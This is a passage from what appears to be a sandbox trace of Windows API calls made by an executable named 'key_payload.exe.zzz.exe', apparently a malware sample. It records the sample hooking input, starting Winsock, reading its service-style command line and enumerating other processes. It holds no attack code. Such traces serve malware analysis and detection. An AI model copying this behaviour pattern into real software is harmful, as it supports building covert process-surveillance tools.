HighestNodeNumber=0x106fb38 | out: HighestNodeNumber=0x106fb38) returned 1 [0230.845] RtlInterlockedPopEntrySList (in: ListHead=0x143add8 | out: ListHead=0x143add8) returned 0x0 [0230.845] RtlInitializeSListHead (in: ListHead=0x1407248 | out: ListHead=0x1407248) [0230.845] RtlInitializeSListHead (in: ListHead=0x1407250 | out: ListHead=0x1407250) [0230.845] RtlInitializeSListHead (in: ListHead=0x1407298 | out: ListHead=0x1407298) [0230.845] RtlInitializeSListHead (in: ListHead=0x14072a0 | out: ListHead=0x14072a0) [0230.845] RtlInterlockedPopEntrySList (in: ListHead=0x1407298 | out: ListHead=0x1407298) returned 0x0 [0230.846] RtlInitializeSListHead (in: ListHead=0x140f9f0 | out: ListHead=0x140f9f0) [0230.846] RtlInitializeSListHead (in: ListHead=0x140f9f8 | out: ListHead=0x140f9f8) [0230.846] RtlInitializeSListHead (in: ListHead=0x140fa40 | out: ListHead=0x140fa40) [0230.846] RtlInitializeSListHead (in: ListHead=0x140fa48 | out: ListHead=0x140fa48) [0230.846] RtlInitializeSListHead (in: ListHead=0x14097d0 | out: ListHead=0x14097d0) [0230.846] RtlInitializeSListHead (in: ListHead=0x14097d8 | out: ListHead=0x14097d8) [0230.847] GetTickCount64 () returned 0x3fdaa [0230.847] RtlInterlockedPopEntrySList (in: ListHead=0x14097d0 | out: ListHead=0x14097d0) returned 0x0 [0230.847] GetTickCount64 () returned 0x3fdaa [0230.847] RtlInterlockedPopEntrySList (in: ListHead=0x14097d0 | out: ListHead=0x14097d0) returned 0x0 [0230.847] GetTickCount64 () returned 0x3fdaa [0230.847] RtlInterlockedPopEntrySList (in: ListHead=0x14097d0 | out: ListHead=0x14097d0) returned 0x0 [0230.847] GetTickCount64 () returned 0x3fdaa [0230.847] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x1f8 [0230.847] RtlInterlockedPopEntrySList (in: ListHead=0x143af68 | out: ListHead=0x143af68) returned 0x0 [0230.847] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1fc [0230.847] GetCurrentThreadId () returned 0xe50 [0230.847] GetCurrentProcess () returned 0xffffffff [0230.848] GetCurrentThread () returned 0xfffffffe [0230.848] GetCurrentProcess () returned 0xffffffff [0230.848] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x144e5e4, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x144e5e4*=0x200) returned 1 [0230.848] CreateThreadpoolWait (in: pfnwa=0x12f1211, pv=0x144e540, pcbe=0x0 | out: pv=0x144e540) returned 0x144e5f8 [0230.848] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0230.848] TpSetWait (in: pwa=0x144e5f8, h=0x200, pftTimeout=0x0 | out: pwa=0x144e5f8) [0230.848] GetCurrentThreadId () returned 0xe50 [0230.849] GetCursorPos (in: lpPoint=0x140d66c | out: lpPoint=0x140d66c*(x=164, y=370)) returned 1 [0230.849] GetCurrentThread () returned 0xfffffffe [0230.849] GetCurrentThreadId () returned 0xe50 [0230.849] GetVersionExW (in: lpVersionInformation=0x106fb64*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x106fb84, dwBuildNumber=0x127f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0x106fb64*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0230.849] SetLastError (dwErrCode=0x0) [0230.849] GetLastError () returned 0x0 [0230.849] SetLastError (dwErrCode=0x0) [0230.849] SetLastError (dwErrCode=0x0) [0230.849] SetLastError (dwErrCode=0x0) [0230.849] SetLastError (dwErrCode=0x0) [0230.849] GetLastError () returned 0x0 [0230.849] SetLastError (dwErrCode=0x0) [0230.850] GetLastError () returned 0x0 [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] GetLastError () returned 0x0 [0230.850] SetLastError (dwErrCode=0x0) [0230.850] GetLastError () returned 0x0 [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] GetLastError () returned 0x0 [0230.850] SetLastError (dwErrCode=0x0) [0230.850] GetLastError () returned 0x0 [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.850] SetLastError (dwErrCode=0x0) [0230.851] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x106fb10 | out: lpWSAData=0x106fb10) returned 0 [0230.855] SetErrorMode (uMode=0x0) returned 0x8001 [0230.855] SetErrorMode (uMode=0x8001) returned 0x0 [0230.855] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0x106fa88, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0230.855] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0230.855] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0230.855] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0230.855] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0230.855] SetWindowsHookExW (idHook=-1, lpfn=0x1164207, hmod=0x0, dwThreadId=0xe50) returned 0x400fb [0230.855] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0x106fca4 | out: phkResult=0x106fca4*=0x0) returned 0x2 [0230.856] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0x106fca4 | out: phkResult=0x106fca4*=0x0) returned 0x2 [0230.856] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0x106fca4 | out: phkResult=0x106fca4*=0x0) returned 0x2 [0230.856] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0x1454420 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0230.856] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0230.856] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x106f478 | out: pNumArgs=0x106f478) returned 0x1454c30*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0230.856] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0230.856] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1454e28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0230.860] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0230.861] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0230.861] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x106469c | out: pNumArgs=0x106469c) returned 0x1454410*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0230.861] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0230.861] EnumProcesses (in: lpidProcess=0x10646a4, cb=0xa000, lpcbNeeded=0x10646a0 | out: lpidProcess=0x10646a4, lpcbNeeded=0x10646a0) returned 1 [0230.864] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0230.864] CloseHandle (hObject=0x0) returned 0 [0230.864] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x194) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x19c) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0230.865] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a4) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0230.866] CloseHandle (hObject=0x0) returned 0 [0230.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x230 [0230.866] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.867] CloseHandle (hObject=0x230) returned 1 [0230.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x230 [0230.867] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.867] CloseHandle (hObject=0x230) returned 1 [0230.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x230 [0230.867] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.867] CloseHandle (hObject=0x230) returned 1 [0230.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x230 [0230.867] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.867] CloseHandle (hObject=0x230) returned 1 [0230.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b0) returned 0x230 [0230.867] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.868] CloseHandle (hObject=0x230) returned 1 [0230.868] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x230 [0230.868] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.868] CloseHandle (hObject=0x230) returned 1 [0230.868] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x230 [0230.868] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.869] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xcc0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="nigeriareached.exe") returned 0x12 [0230.869] CloseHandle (hObject=0x230) returned 1 [0230.869] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x230 [0230.869] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.870] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x870000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="bass_cosmetics_effectiveness.exe") returned 0x20 [0230.870] CloseHandle (hObject=0x230) returned 1 [0230.870] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a4) returned 0x230 [0230.870] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.871] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1210000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="optimize.exe") returned 0xc [0230.871] CloseHandle (hObject=0x230) returned 1 [0230.872] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x230 [0230.872] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.872] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x350000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="bullet_save.exe") returned 0xf [0230.873] CloseHandle (hObject=0x230) returned 1 [0230.873] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x230 [0230.873] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.874] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xf50000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="herbs.exe") returned 0x9 [0230.874] CloseHandle (hObject=0x230) returned 1 [0230.874] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x230 [0230.874] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.875] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc80000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="expenditure-vincent-tablet.exe") returned 0x1e [0230.875] CloseHandle (hObject=0x230) returned 1 [0230.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x230 [0230.875] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.875] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdb0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="deathswound.exe") returned 0xf [0230.876] CloseHandle (hObject=0x230) returned 1 [0230.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x230 [0230.876] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.876] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa40000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="homes.exe") returned 0x9 [0230.877] CloseHandle (hObject=0x230) returned 1 [0230.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x230 [0230.877] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.878] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xbf0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="tu-admit.exe") returned 0xc [0230.878] CloseHandle (hObject=0x230) returned 1 [0230.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x908) returned 0x230 [0230.878] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.879] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x910000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="asin.exe") returned 0x8 [0230.879] CloseHandle (hObject=0x230) returned 1 [0230.879] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x230 [0230.879] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.880] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x170000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="flickr debate gs.exe") returned 0x14 [0230.880] CloseHandle (hObject=0x230) returned 1 [0230.880] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd4) returned 0x230 [0230.880] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.881] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa20000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="seafoodoptwherever.exe") returned 0x16 [0230.881] CloseHandle (hObject=0x230) returned 1 [0230.881] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x230 [0230.882] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.882] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb80000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="hayes.exe") returned 0x9 [0230.883] CloseHandle (hObject=0x230) returned 1 [0230.883] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x230 [0230.883] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.884] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdf0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="definitionselectionsea.exe") returned 0x1a [0230.884] CloseHandle (hObject=0x230) returned 1 [0230.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb30) returned 0x230 [0230.884] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.885] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x930000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="containers-reprint-true.exe") returned 0x1b [0230.885] CloseHandle (hObject=0x230) returned 1 [0230.885] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x230 [0230.885] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.886] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="containingbarryslovenia.exe") returned 0x1b [0230.886] CloseHandle (hObject=0x230) returned 1 [0230.886] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab0) returned 0x230 [0230.886] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.887] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xef0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="jones weekend fundamental.exe") returned 0x1d [0230.887] CloseHandle (hObject=0x230) returned 1 [0230.888] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x230 [0230.888] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.888] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc30000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="requesting.exe") returned 0xe [0230.889] CloseHandle (hObject=0x230) returned 1 [0230.889] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d8) returned 0x230 [0230.889] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.890] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xda0000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="walls flashing hull.exe") returned 0x17 [0230.890] CloseHandle (hObject=0x230) returned 1 [0230.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x0 [0230.890] CloseHandle (hObject=0x0) returned 0 [0230.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x230 [0230.890] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.892] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0230.892] CloseHandle (hObject=0x230) returned 1 [0230.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x230 [0230.892] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.892] CloseHandle (hObject=0x230) returned 1 [0230.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd4c) returned 0x0 [0230.892] CloseHandle (hObject=0x0) returned 0 [0230.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa2c) returned 0x230 [0230.892] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 0 [0230.892] CloseHandle (hObject=0x230) returned 1 [0230.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x0 [0230.893] CloseHandle (hObject=0x0) returned 0 [0230.893] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x268) returned 0x230 [0230.893] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.894] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0230.894] CloseHandle (hObject=0x230) returned 1 [0230.894] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0c) returned 0x230 [0230.894] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.896] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0230.896] CloseHandle (hObject=0x230) returned 1 [0230.896] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d0) returned 0x230 [0230.896] EnumProcessModules (in: hProcess=0x230, lphModule=0x1064694, cb=0x4, lpcbNeeded=0x1064698 | out: lphModule=0x1064694, lpcbNeeded=0x1064698) returned 1 [0230.896] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0x106e6a4, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0230.896] CloseHandle (hObject=0x230) returned 1 [0230.897] GetLastError () returned 0x6 [0230.897] SetLastError (dwErrCode=0x6) [0230.897] SetLastError (dwErrCode=0x6) [0230.897] GetLastError () returned 0x6 [0230.897] SetLastError (dwErrCode=0x6) [0230.897] InitCommonControlsEx (picce=0x106f464) returned 1 [0230.898] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0x106ec6c, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0230.898] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0230.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.898] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadPreferredUILanguages") returned 0x751495e0 [0230.898] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x106eb40, pwszLanguagesBuffer=0x106eb50, 